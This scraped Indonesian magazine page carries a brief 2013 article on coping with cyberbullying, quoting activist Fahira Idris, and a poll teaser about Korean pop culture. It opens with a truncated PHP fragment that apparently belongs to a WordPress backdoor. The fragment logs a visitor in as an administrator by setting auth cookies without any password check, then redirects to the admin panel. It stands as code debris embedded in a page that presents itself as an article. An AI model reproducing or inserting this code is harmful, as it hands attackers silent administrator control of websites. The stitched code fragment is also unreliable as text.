user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Trending Topic
Manajemen Cyberbullying

18 Jun 2013

Jika Anda mengira bullying hanya terjadi di dunia nyata, ternyata salah besar. Di era digital sekarang ini, perilaku bullying sepertinya malah lebih 'kejam'. Bahkan, beberapa korban bullying dunia maya lewat sosial media, memilih untuk mengakhiri hidup mereka karena tidak tahan menghadapi tekanan yang begitu besar.

“Media sosial merupakan ruang yang memberikan kebebasan bagi seseorang untuk berpendapat. Sehingga, cyberbully bisa banget terjadi,” tukas Fahira Idris, pengusaha dan aktivis sosial ini. Fahira juga mengaku pernah mengalami bullying di dunia maya karena perbedaan pendapat semata. 

Saat mengetahui dirinya dibully di twitter, Fahira memilih tak mau terpancing. Ia pun segera mundur sejenak dari dunia twitter agar tak semakin memperkeruh suasana. “Tetapi kalau sudah terlalu parah, saya block saja mereka yang mem-bully saya. Follow orang-orang yang positif dan hindari mereka yang membuat Anda jadi down. Itu manajemen bully yang saya lakukan,” tutupnya.
Advertisement

CIK
Foto: Corbis




Topic

#mentalmerdeka

 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?